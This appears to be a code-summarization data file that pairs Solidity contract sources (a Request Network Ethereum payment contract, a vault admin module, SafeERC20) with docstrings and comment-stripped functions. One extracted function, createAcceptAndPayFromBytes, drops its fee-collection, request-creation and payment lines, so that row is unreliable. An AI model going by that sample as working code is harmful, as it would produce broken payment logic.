(bool success, bytes memory returnData) = _proxy.call(abi.encodeWithSignature('testRevert(string)', _bytes));
require(success == false);
require(keccak256(returnData) == keccak256(abi.encodeWithSignature('Error(string)', _bytes)));
}
function testReturnSingle () public returns (uint256) {
(
address a,
uint256 b,
uint256[] memory c
) = MetaProxyTest(this).getMetadataViaCall();
require(a == msg.sender);
require(b == someValue);
require(c.length == 9);
emit SomeEvent(a, b, c);
return b;
}
function testReturnMulti (bytes memory data, uint256 xyz) public returns (uint256, uint256[] memory) {
(
address a,
uint256 b,
uint256[] memory c
) = getMetadataWithoutCall();
require(a == msg.sender);
require(b == someValue);
require(c.length == 9);
require(xyz == uint160(a) + b);
bytes memory expected = hex'68656c6c6f20776f726c64';
require(data.length == expected.length);
for (uint256 i = 0; i < expected.length; i++) {
require(data[i] == expected[i]);
}
emit SomeEvent(a, b, c);
emit SomeData(data);
return (b, c);
}
function testRevert (string memory data) public {
(address a,,) = getMetadataWithoutCall();
// should evaluate to `true`
if (a != address(0)) {
revert(data);
}
}
}
|
should evaluate to `true`
|
function testRevert (string memory data) public {
(address a,,) = getMetadataWithoutCall();
if (a != address(0)) {
revert(data);
}
}
| 7,263,170 |
pragma solidity ^0.4.18;
import '../core/RequestCore.sol';
import '../base/math/SafeMathUint8.sol';
import './RequestEthereumCollect.sol';
import '../base/token/ERC20.sol';
/**
* @title RequestEthereum
*
* @dev RequestEthereum is the currency contract managing the request in Ethereum
* @dev The contract can be paused. In this case, nobody can create Requests anymore but people can still interact with them.
*
* @dev Requests can be created by the Payee with createRequestAsPayee(), by the payer with createRequestAsPayer() or by the payer from a request signed offchain by the payee with broadcastSignedRequestAsPayer()
*/
contract RequestEthereum is RequestEthereumCollect {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
// RequestCore object
RequestCore public requestCore;
// payment addresses by requestId (optional). We separate the Identity of the payee/payer (in the core) and the wallet address in the currency contract
mapping(bytes32 => address[256]) public payeesPaymentAddress;
mapping(bytes32 => address) public payerRefundAddress;
/*
* @dev Constructor
* @param _requestCoreAddress Request Core address
* @param _requestBurnerAddress Request Burner contract address
*/
function RequestEthereum(address _requestCoreAddress, address _requestBurnerAddress) RequestEthereumCollect(_requestBurnerAddress) public
{
requestCore=RequestCore(_requestCoreAddress);
}
/*
* @dev Function to create a request as payee
*
* @dev msg.sender will be the payee
* @dev if _payeesPaymentAddress.length > _payeesIdAddress.length, the extra addresses will be stored but never used
* @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable.
*
* @param _payeesIdAddress array of payees address (the index 0 will be the payee - must be msg.sender - the others are subPayees)
* @param _payeesPaymentAddress array of payees address for payment (optional)
* @param _expectedAmounts array of Expected amount to be received by each payees
* @param _payer Entity expected to pay
* @param _payerRefundAddress Address of refund for the payer (optional)
* @param _data Hash linking to additional data on the Request stored on IPFS
*
* @return Returns the id of the request
*/
function createRequestAsPayee(
address[] _payeesIdAddress,
address[] _payeesPaymentAddress,
int256[] _expectedAmounts,
address _payer,
address _payerRefundAddress,
string _data)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0);
uint256 fees;
(requestId, fees) = createRequest(_payer, _payeesIdAddress, _payeesPaymentAddress, _expectedAmounts, _payerRefundAddress, _data);
// check if the value send match exactly the fees (no under or over payment allowed)
require(fees == msg.value);
return requestId;
}
/*
* @dev Function to create a request as payer. The request is payed if _payeeAmounts > 0.
*
* @dev msg.sender will be the payer
* @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable.
*
* @param _payeesIdAddress array of payees address (the index 0 will be the payee the others are subPayees)
* @param _expectedAmounts array of Expected amount to be received by each payees
* @param _payerRefundAddress Address of refund for the payer (optional)
* @param _payeeAmounts array of amount repartition for the payment
* @param _additionals array to increase the ExpectedAmount for payees
* @param _data Hash linking to additional data on the Request stored on IPFS
*
* @return Returns the id of the request
*/
function createRequestAsPayer(
address[] _payeesIdAddress,
int256[] _expectedAmounts,
address _payerRefundAddress,
uint256[] _payeeAmounts,
uint256[] _additionals,
string _data)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(msg.sender != _payeesIdAddress[0] && _payeesIdAddress[0] != 0);
// payeesPaymentAddress is not offered as argument here to avoid scam
address[] memory emptyPayeesPaymentAddress = new address[](0);
uint256 fees;
(requestId, fees) = createRequest(msg.sender, _payeesIdAddress, emptyPayeesPaymentAddress, _expectedAmounts, _payerRefundAddress, _data);
// accept and pay the request with the value remaining after the fee collect
acceptAndPay(requestId, _payeeAmounts, _additionals, msg.value.sub(fees));
return requestId;
}
/*
* @dev Function to broadcast and accept an offchain signed request (can be paid and additionals also)
*
* @dev _payer will be set msg.sender
* @dev if _payeesPaymentAddress.length > _requestData.payeesIdAddress.length, the extra addresses will be stored but never used
* @dev If a contract is given as a payee make sure it is payable. Otherwise, the request will not be payable.
*
* @param _requestData nested bytes containing : creator, payer, payees, expectedAmounts, data
* @param _payeesPaymentAddress array of payees address for payment (optional)
* @param _payeeAmounts array of amount repartition for the payment
* @param _additionals array to increase the ExpectedAmount for payees
* @param _expirationDate timestamp after that the signed request cannot be broadcasted
* @param _signature ECDSA signature in bytes
*
* @return Returns the id of the request
*/
function broadcastSignedRequestAsPayer(
bytes _requestData, // gather data to avoid "stack too deep"
address[] _payeesPaymentAddress,
uint256[] _payeeAmounts,
uint256[] _additionals,
uint256 _expirationDate,
bytes _signature)
external
payable
whenNotPaused
returns(bytes32)
{
// check expiration date
require(_expirationDate >= block.timestamp);
// check the signature
require(checkRequestSignature(_requestData, _payeesPaymentAddress, _expirationDate, _signature));
// create accept and pay the request
return createAcceptAndPayFromBytes(_requestData, _payeesPaymentAddress, _payeeAmounts, _additionals);
}
/*
* @dev Internal function to create, accept, add additionals and pay a request as Payer
*
* @dev msg.sender must be _payer
*
* @param _requestData nasty bytes containing : creator, payer, payees|expectedAmounts, data
* @param _payeesPaymentAddress array of payees address for payment (optional)
* @param _payeeAmounts array of amount repartition for the payment
* @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals
*
* @return Returns the id of the request
*/
function createAcceptAndPayFromBytes(
bytes _requestData,
address[] _payeesPaymentAddress,
uint256[] _payeeAmounts,
uint256[] _additionals)
internal
returns(bytes32 requestId)
{
// extract main payee
address mainPayee = extractAddress(_requestData, 41);
require(msg.sender != mainPayee && mainPayee != 0);
// creator must be the main payee
require(extractAddress(_requestData, 0) == mainPayee);
// extract the number of payees
uint8 payeesCount = uint8(_requestData[40]);
int256 totalExpectedAmounts = 0;
for(uint8 i = 0; i < payeesCount; i++) {
// extract the expectedAmount for the payee[i]
// NB: no need of SafeMath here because 0 < i < 256 (uint8)
int256 expectedAmountTemp = int256(extractBytes32(_requestData, 61 + 52 * uint256(i)));
// compute the total expected amount of the request
totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp);
// all expected amount must be positibe
require(expectedAmountTemp>0);
}
// collect the fees
uint256 fees = collectEstimation(totalExpectedAmounts);
// check fees has been well received
// do the action and assertion in one to save a variable
require(collectForREQBurning(fees));
// insert the msg.sender as the payer in the bytes
updateBytes20inBytes(_requestData, 20, bytes20(msg.sender));
// store request in the core,
requestId = requestCore.createRequestFromBytes(_requestData);
// set payment addresses for payees
for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) {
payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j];
}
// accept and pay the request with the value remaining after the fee collect
acceptAndPay(requestId, _payeeAmounts, _additionals, msg.value.sub(fees));
return requestId;
}
/*
* @dev Internal function to create a request
*
* @dev msg.sender is the creator of the request
*
* @param _payer Payer identity address
* @param _payees Payees identity address
* @param _payeesPaymentAddress Payees payment address
* @param _expectedAmounts Expected amounts to be received by payees
* @param _payerRefundAddress payer refund address
* @param _data Hash linking to additional data on the Request stored on IPFS
*
* @return Returns the id of the request
*/
function createRequest(
address _payer,
address[] _payees,
address[] _payeesPaymentAddress,
int256[] _expectedAmounts,
address _payerRefundAddress,
string _data)
internal
returns(bytes32 requestId, uint256 fees)
{
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < _expectedAmounts.length; i = i.add(1))
{
// all expected amount must be positive
require(_expectedAmounts[i]>=0);
// compute the total expected amount of the request
totalExpectedAmounts = totalExpectedAmounts.add(_expectedAmounts[i]);
}
// collect the fees
fees = collectEstimation(totalExpectedAmounts);
// check fees has been well received
require(collectForREQBurning(fees));
// store request in the core
requestId= requestCore.createRequest(msg.sender, _payees, _expectedAmounts, _payer, _data);
// set payment addresses for payees
for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) {
payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j];
}
// set payment address for payer
if(_payerRefundAddress != 0) {
payerRefundAddress[requestId] = _payerRefundAddress;
}
}
/*
* @dev Internal function to accept, add additionals and pay a request as Payer
*
* @param _requestId id of the request
* @param _payeesAmounts Amount to pay to payees (sum must be equals to _amountPaid)
* @param _additionals Will increase the ExpectedAmounts of payees
* @param _amountPaid amount in msg.value minus the fees
*
*/
function acceptAndPay(
bytes32 _requestId,
uint256[] _payeeAmounts,
uint256[] _additionals,
uint256 _amountPaid)
internal
{
requestCore.accept(_requestId);
additionalInternal(_requestId, _additionals);
if(_amountPaid > 0) {
paymentInternal(_requestId, _payeeAmounts, _amountPaid);
}
}
// ---- INTERFACE FUNCTIONS ------------------------------------------------------------------------------------
/*
* @dev Function to accept a request
*
* @dev msg.sender must be _payer
* @dev A request can also be accepted by using directly the payment function on a request in the Created status
*
* @param _requestId id of the request
*/
function accept(bytes32 _requestId)
external
whenNotPaused
condition(requestCore.getPayer(_requestId)==msg.sender)
condition(requestCore.getState(_requestId)==RequestCore.State.Created)
{
requestCore.accept(_requestId);
}
/*
* @dev Function to cancel a request
*
* @dev msg.sender must be the _payer or the _payee.
* @dev only request with balance equals to zero can be cancel
*
* @param _requestId id of the request
*/
function cancel(bytes32 _requestId)
external
whenNotPaused
{
// payer can cancel if request is just created
bool isPayerAndCreated = requestCore.getPayer(_requestId)==msg.sender && requestCore.getState(_requestId)==RequestCore.State.Created;
// payee can cancel when request is not canceled yet
bool isPayeeAndNotCanceled = requestCore.getPayeeAddress(_requestId,0)==msg.sender && requestCore.getState(_requestId)!=RequestCore.State.Canceled;
require(isPayerAndCreated || isPayeeAndNotCanceled);
// impossible to cancel a Request with any payees balance != 0
require(requestCore.areAllBalanceNull(_requestId));
requestCore.cancel(_requestId);
}
// ----------------------------------------------------------------------------------------
// ---- CONTRACT FUNCTIONS ------------------------------------------------------------------------------------
/*
* @dev Function PAYABLE to pay a request in ether.
*
* @dev the request will be automatically accepted if msg.sender==payer.
*
* @param _requestId id of the request
* @param _payeesAmounts Amount to pay to payees (sum must be equal to msg.value) in wei
* @param _additionalsAmount amount of additionals per payee in wei to declare
*/
function paymentAction(
bytes32 _requestId,
uint256[] _payeeAmounts,
uint256[] _additionalAmounts)
external
whenNotPaused
payable
condition(requestCore.getState(_requestId)!=RequestCore.State.Canceled)
condition(_additionalAmounts.length == 0 || msg.sender == requestCore.getPayer(_requestId))
{
// automatically accept request if request is created and msg.sender is payer
if(requestCore.getState(_requestId)==RequestCore.State.Created && msg.sender == requestCore.getPayer(_requestId)) {
requestCore.accept(_requestId);
}
additionalInternal(_requestId, _additionalAmounts);
paymentInternal(_requestId, _payeeAmounts, msg.value);
}
/*
* @dev Function PAYABLE to pay back in ether a request to the payer
*
* @dev msg.sender must be one of the payees
* @dev the request must be created or accepted
*
* @param _requestId id of the request
*/
function refundAction(bytes32 _requestId)
external
whenNotPaused
payable
{
refundInternal(_requestId, msg.sender, msg.value);
}
/*
* @dev Function to declare a subtract
*
* @dev msg.sender must be _payee
* @dev the request must be accepted or created
*
* @param _requestId id of the request
* @param _subtractAmounts amounts of subtract in wei to declare (index 0 is for main payee)
*/
function subtractAction(bytes32 _requestId, uint256[] _subtractAmounts)
external
whenNotPaused
condition(requestCore.getState(_requestId)!=RequestCore.State.Canceled)
onlyRequestPayee(_requestId)
{
for(uint8 i = 0; i < _subtractAmounts.length; i = i.add(1)) {
if(_subtractAmounts[i] != 0) {
// subtract must be equal or lower than amount expected
require(requestCore.getPayeeExpectedAmount(_requestId,i) >= _subtractAmounts[i].toInt256Safe());
// store and declare the subtract in the core
requestCore.updateExpectedAmount(_requestId, i, -_subtractAmounts[i].toInt256Safe());
}
}
}
/*
* @dev Function to declare an additional
*
* @dev msg.sender must be _payer
* @dev the request must be accepted or created
*
* @param _requestId id of the request
* @param _additionalAmounts amounts of additional in wei to declare (index 0 is for main payee)
*/
function additionalAction(bytes32 _requestId, uint256[] _additionalAmounts)
external
whenNotPaused
condition(requestCore.getState(_requestId)!=RequestCore.State.Canceled)
onlyRequestPayer(_requestId)
{
additionalInternal(_requestId, _additionalAmounts);
}
// ----------------------------------------------------------------------------------------
// ---- INTERNAL FUNCTIONS ------------------------------------------------------------------------------------
/*
* @dev Function internal to manage additional declaration
*
* @param _requestId id of the request
* @param _additionalAmounts amount of additional to declare
*/
function additionalInternal(bytes32 _requestId, uint256[] _additionalAmounts)
internal
{
// we cannot have more additional amounts declared than actual payees but we can have fewer
require(_additionalAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1));
for(uint8 i = 0; i < _additionalAmounts.length; i = i.add(1)) {
if(_additionalAmounts[i] != 0) {
// Store and declare the additional in the core
requestCore.updateExpectedAmount(_requestId, i, _additionalAmounts[i].toInt256Safe());
}
}
}
/*
* @dev Function internal to manage payment declaration
*
* @param _requestId id of the request
* @param _payeesAmounts Amount to pay to payees (sum must be equals to msg.value)
* @param _value amount paid
*/
function paymentInternal(
bytes32 _requestId,
uint256[] _payeeAmounts,
uint256 _value)
internal
{
// we cannot have more amounts declared than actual payees
require(_payeeAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1));
uint256 totalPayeeAmounts = 0;
for(uint8 i = 0; i < _payeeAmounts.length; i = i.add(1)) {
if(_payeeAmounts[i] != 0) {
// compute the total amount declared
totalPayeeAmounts = totalPayeeAmounts.add(_payeeAmounts[i]);
// Store and declare the payment to the core
requestCore.updateBalance(_requestId, i, _payeeAmounts[i].toInt256Safe());
// pay the payment address if given, the id address otherwise
address addressToPay;
if(payeesPaymentAddress[_requestId][i] == 0) {
addressToPay = requestCore.getPayeeAddress(_requestId, i);
} else {
addressToPay = payeesPaymentAddress[_requestId][i];
}
//payment done, the money was sent
fundOrderInternal(addressToPay, _payeeAmounts[i]);
}
}
// check if payment repartition match the value paid
require(_value==totalPayeeAmounts);
}
/*
* @dev Function internal to manage refund declaration
*
* @param _requestId id of the request
* @param _fromAddress address from where the refund has been done
* @param _amount amount of the refund in wei to declare
*/
function refundInternal(
bytes32 _requestId,
address _fromAddress,
uint256 _amount)
condition(requestCore.getState(_requestId)!=RequestCore.State.Canceled)
internal
{
// Check if the _fromAddress is a payeesId
// int16 to allow -1 value
int16 payeeIndex = requestCore.getPayeeIndex(_requestId, _fromAddress);
if(payeeIndex < 0) {
uint8 payeesCount = requestCore.getSubPayeesCount(_requestId).add(1);
// if not ID addresses maybe in the payee payments addresses
for (uint8 i = 0; i < payeesCount && payeeIndex == -1; i = i.add(1)) {
if(payeesPaymentAddress[_requestId][i] == _fromAddress) {
// get the payeeIndex
payeeIndex = int16(i);
}
}
}
// the address must be found somewhere
require(payeeIndex >= 0);
// Casting to uin8 doesn't lose bits because payeeIndex < 256. payeeIndex was declared int16 to allow -1
requestCore.updateBalance(_requestId, uint8(payeeIndex), -_amount.toInt256Safe());
// refund to the payment address if given, the id address otherwise
address addressToPay = payerRefundAddress[_requestId];
if(addressToPay == 0) {
addressToPay = requestCore.getPayer(_requestId);
}
// refund declared, the money is ready to be sent to the payer
fundOrderInternal(addressToPay, _amount);
}
/*
* @dev Function internal to manage fund mouvement
* @dev We had to chose between a withdrawal pattern, a transfer pattern or a transfer+withdrawal pattern and chose the transfer pattern.
* @dev The withdrawal pattern would make UX difficult. The transfer+withdrawal pattern would make contracts interacting with the request protocol complex.
* @dev N.B.: The transfer pattern will have to be clearly explained to users. It enables a payee to create unpayable requests.
*
* @param _recipient address where the wei has to be sent to
* @param _amount amount in wei to send
*
*/
function fundOrderInternal(
address _recipient,
uint256 _amount)
internal
{
_recipient.transfer(_amount);
}
/*
* @dev Function internal to calculate Keccak-256 hash of a request with specified parameters
*
* @param _data bytes containing all the data packed
* @param _payeesPaymentAddress array of payees payment addresses
* @param _expirationDate timestamp after what the signed request cannot be broadcasted
*
* @return Keccak-256 hash of (this,_requestData, _payeesPaymentAddress, _expirationDate)
*/
function getRequestHash(
// _requestData is from the core
bytes _requestData,
// _payeesPaymentAddress and _expirationDate are not from the core but needs to be signed
address[] _payeesPaymentAddress,
uint256 _expirationDate)
internal
view
returns(bytes32)
{
return keccak256(this, _requestData, _payeesPaymentAddress, _expirationDate);
}
/*
* @dev Verifies that a hash signature is valid. 0x style
* @param signer address of signer.
* @param hash Signed Keccak-256 hash.
* @param v ECDSA signature parameter v.
* @param r ECDSA signature parameters r.
* @param s ECDSA signature parameters s.
* @return Validity of order signature.
*/
function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
public
pure
returns (bool)
{
return signer == ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
);
}
/*
* @dev Check the validity of a signed request & the expiration date
* @param _data bytes containing all the data packed :
address(creator)
address(payer)
uint8(number_of_payees)
[
address(main_payee_address)
int256(main_payee_expected_amount)
address(second_payee_address)
int256(second_payee_expected_amount)
...
]
uint8(data_string_size)
size(data)
* @param _payeesPaymentAddress array of payees payment addresses (the index 0 will be the payee the others are subPayees)
* @param _expirationDate timestamp after that the signed request cannot be broadcasted
* @param _signature ECDSA signature containing v, r and s as bytes
*
* @return Validity of order signature.
*/
function checkRequestSignature(
bytes _requestData,
address[] _payeesPaymentAddress,
uint256 _expirationDate,
bytes _signature)
public
view
returns (bool)
{
bytes32 hash = getRequestHash(_requestData, _payeesPaymentAddress, _expirationDate);
// extract "v, r, s" from the signature
uint8 v = uint8(_signature[64]);
v = v < 27 ? v.add(27) : v;
bytes32 r = extractBytes32(_signature, 0);
bytes32 s = extractBytes32(_signature, 32);
// check signature of the hash with the creator address
return isValidSignature(extractAddress(_requestData, 0), hash, v, r, s);
}
//modifier
modifier condition(bool c)
{
require(c);
_;
}
/*
* @dev Modifier to check if msg.sender is payer
* @dev Revert if msg.sender is not payer
* @param _requestId id of the request
*/
modifier onlyRequestPayer(bytes32 _requestId)
{
require(requestCore.getPayer(_requestId)==msg.sender);
_;
}
/*
* @dev Modifier to check if msg.sender is the main payee
* @dev Revert if msg.sender is not the main payee
* @param _requestId id of the request
*/
modifier onlyRequestPayee(bytes32 _requestId)
{
require(requestCore.getPayeeAddress(_requestId, 0)==msg.sender);
_;
}
/*
* @dev modify 20 bytes in a bytes
* @param data bytes to modify
* @param offset position of the first byte to modify
* @param b bytes20 to insert
* @return address
*/
function updateBytes20inBytes(bytes data, uint offset, bytes20 b)
internal
pure
{
require(offset >=0 && offset + 20 <= data.length);
assembly {
let m := mload(add(data, add(20, offset)))
m := and(m, 0xFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000)
m := or(m, div(b, 0x1000000000000000000000000))
mstore(add(data, add(20, offset)), m)
}
}
/*
* @dev extract an address in a bytes
* @param data bytes from where the address will be extract
* @param offset position of the first byte of the address
* @return address
*/
function extractAddress(bytes _data, uint offset)
internal
pure
returns (address m)
{
require(offset >=0 && offset + 20 <= _data.length);
assembly {
m := and( mload(add(_data, add(20, offset))),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
/*
* @dev extract a bytes32 from a bytes
* @param data bytes from where the bytes32 will be extract
* @param offset position of the first byte of the bytes32
* @return address
*/
function extractBytes32(bytes _data, uint offset)
public
pure
returns (bytes32 bs)
{
require(offset >=0 && offset + 32 <= _data.length);
assembly {
bs := mload(add(_data, add(32, offset)))
}
}
/**
* @dev transfer to owner any tokens send by mistake on this contracts
* @param token The address of the token to transfer.
* @param amount The amount to be transfered.
*/
function emergencyERC20Drain(ERC20 token, uint amount )
public
onlyOwner
{
token.transfer(owner, amount);
}
}
|
Internal function to create, accept, add additionals and pay a request as Payer msg.sender must be _payer _requestData nasty bytes containing : creator, payer, payees|expectedAmounts, data _payeesPaymentAddress array of payees address for payment (optional) _payeeAmounts array of amount repartition for the payment _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals return Returns the id of the request/ extract main payee creator must be the main payee extract the number of payees extract the expectedAmount for the payee[i] NB: no need of SafeMath here because 0 < i < 256 (uint8) compute the total expected amount of the request all expected amount must be positibe set payment addresses for payees
|
function createAcceptAndPayFromBytes(
bytes _requestData,
address[] _payeesPaymentAddress,
uint256[] _payeeAmounts,
uint256[] _additionals)
internal
returns(bytes32 requestId)
{
address mainPayee = extractAddress(_requestData, 41);
require(msg.sender != mainPayee && mainPayee != 0);
require(extractAddress(_requestData, 0) == mainPayee);
uint8 payeesCount = uint8(_requestData[40]);
int256 totalExpectedAmounts = 0;
for(uint8 i = 0; i < payeesCount; i++) {
int256 expectedAmountTemp = int256(extractBytes32(_requestData, 61 + 52 * uint256(i)));
totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp);
require(expectedAmountTemp>0);
}
for (uint8 j = 0; j < _payeesPaymentAddress.length; j = j.add(1)) {
payeesPaymentAddress[requestId][j] = _payeesPaymentAddress[j];
}
return requestId;
}
| 14,089,319 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./events.sol";
import "../../../../infiniteProxy/IProxy.sol";
contract AdminModule is Events {
/**
* @dev Only auth gaurd.
*/
modifier onlyAuth() {
require(IProxy(address(this)).getAdmin() == msg.sender, "only auth");
_;
}
/**
* @dev Update rebalancer.
* @param rebalancer_ address of rebalancer.
* @param isRebalancer_ true for setting the rebalancer, false for removing.
*/
function updateRebalancer(address rebalancer_, bool isRebalancer_)
external
onlyAuth
{
_isRebalancer[rebalancer_] = isRebalancer_;
emit updateRebalancerLog(rebalancer_, isRebalancer_);
}
/**
* @dev Update withdrawal fee.
* @param newWithdrawalFee_ new withdrawal fee.
*/
function updateWithdrawalFee(uint256 newWithdrawalFee_) external onlyAuth {
uint256 oldWithdrawalFee_ = _withdrawalFee;
_withdrawalFee = newWithdrawalFee_;
emit updateWithdrawalFeeLog(oldWithdrawalFee_, newWithdrawalFee_);
}
/**
* @dev Update ratios.
* @param ratios_ new ratios.
*/
function updateRatios(uint16[] memory ratios_) external onlyAuth {
_ratios = Ratios(
ratios_[0],
ratios_[1],
ratios_[2],
ratios_[3],
ratios_[4],
uint128(ratios_[5]) * 1e23
);
emit updateRatiosLog(
ratios_[0],
ratios_[1],
ratios_[2],
ratios_[3],
ratios_[4],
uint128(ratios_[5]) * 1e23
);
}
/**
* @dev Change status.
* @param status_ new status, function to pause all functionality of the contract, status = 2 -> pause, status = 1 -> resume.
*/
function changeStatus(uint256 status_) external onlyAuth {
_status = status_;
emit changeStatusLog(status_);
}
/**
* @dev function to initialize variables
*/
function initialize(
string memory name_,
string memory symbol_,
address rebalancer_,
address token_,
address atoken_,
uint256 revenueFee_,
uint256 withdrawalFee_,
uint256 idealExcessAmt_,
uint16[] memory ratios_,
uint256 swapFee_,
uint256 saveSlippage_
) external initializer onlyAuth {
address vaultDsaAddr_ = instaIndex.build(
address(this),
2,
address(this)
);
_vaultDsa = IDSA(vaultDsaAddr_);
__ERC20_init(name_, symbol_);
_isRebalancer[rebalancer_] = true;
_token = IERC20(token_);
_tokenDecimals = uint8(TokenInterface(token_).decimals());
_atoken = IERC20(atoken_);
_revenueFee = revenueFee_;
_lastRevenueExchangePrice = 1e18;
_withdrawalFee = withdrawalFee_;
_idealExcessAmt = idealExcessAmt_;
// sending borrow rate in 4 decimals eg:- 300 meaning 3% and converting into 27 decimals eg:- 3 * 1e25
_ratios = Ratios(ratios_[0], ratios_[1], ratios_[2], ratios_[3], ratios_[4], uint128(ratios_[5]) * 1e23);
_tokenMinLimit = _tokenDecimals > 17 ? 1e14 : _tokenDecimals > 11 ? 1e11 : _tokenDecimals > 5 ? 1e4 : 1;
_swapFee = swapFee_;
_saveSlippage = saveSlippage_;
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "../common/variables.sol";
contract Events is Variables {
event updateRebalancerLog(address auth_, bool isAuth_);
event changeStatusLog(uint256 status_);
event updateRatiosLog(
uint16 maxLimit,
uint16 maxLimitGap,
uint16 minLimit,
uint16 minLimitGap,
uint16 stEthLimit,
uint128 maxBorrowRate
);
event updateWithdrawalFeeLog(
uint256 oldWithdrawalFee_,
uint256 newWithdrawalFee_
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IProxy {
function getAdmin() external view returns (address);
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./interfaces.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {ERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
contract ConstantVariables is ERC20Upgradeable {
IInstaIndex internal constant instaIndex =
IInstaIndex(0x2971AdFa57b20E5a416aE5a708A8655A9c74f723);
IERC20 internal constant wethContract = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 internal constant stethContract = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
IAaveProtocolDataProvider internal constant aaveProtocolDataProvider =
IAaveProtocolDataProvider(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d);
IAaveAddressProvider internal constant aaveAddressProvider =
IAaveAddressProvider(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5);
IERC20 internal constant awethVariableDebtToken =
IERC20(0xF63B34710400CAd3e044cFfDcAb00a0f32E33eCf);
IERC20 internal constant astethToken =
IERC20(0x1982b2F5814301d4e9a8b0201555376e62F82428);
}
contract Variables is ConstantVariables {
uint256 internal _status = 1;
// only authorized addresses can rebalance
mapping(address => bool) internal _isRebalancer;
IERC20 internal _token;
uint8 internal _tokenDecimals;
uint256 internal _tokenMinLimit;
IERC20 internal _atoken;
IDSA internal _vaultDsa;
struct Ratios {
uint16 maxLimit; // Above this withdrawals are not allowed
uint16 maxLimitGap;
uint16 minLimit; // After leverage the ratio should be below minLimit & above minLimitGap
uint16 minLimitGap;
uint16 stEthLimit; // if 7500. Meaning stETH collateral covers 75% of the ETH debt. Excess ETH will be covered by token limit.
// send borrow rate in 4 decimals from UI. In the smart contract it'll convert to 27 decimals which where is 100%
uint128 maxBorrowRate; // maximum borrow rate above this leveraging should not happen
}
Ratios internal _ratios;
// last revenue exchange price (helps in calculating revenue)
// Exchange price when revenue got updated last. It'll only increase overtime.
uint256 internal _lastRevenueExchangePrice;
uint256 internal _revenueFee; // 1000 = 10% (10% of user's profit)
uint256 internal _revenue;
uint256 internal _revenueEth;
uint256 internal _withdrawalFee; // 10000 = 100%
uint256 internal _idealExcessAmt; // 10 means 0.1% of total stEth/Eth supply (collateral + ideal balance)
uint256 internal _swapFee; // 5 means 0.05%. This is the fee on leverage function which allows swap of stETH -> ETH
uint256 internal _saveSlippage; // 1e16 means 1%
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IInstaIndex {
function build(
address owner_,
uint256 accountVersion_,
address origin_
) external returns (address account_);
}
interface IDSA {
function cast(
string[] calldata _targetNames,
bytes[] calldata _datas,
address _origin
) external payable returns (bytes32);
}
interface IAaveProtocolDataProvider {
function getReserveData(address asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface IAaveAddressProvider {
function getPriceOracle() external view returns (address);
}
interface IAavePriceOracle {
function getAssetPrice(address _asset) external view returns (uint256);
}
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
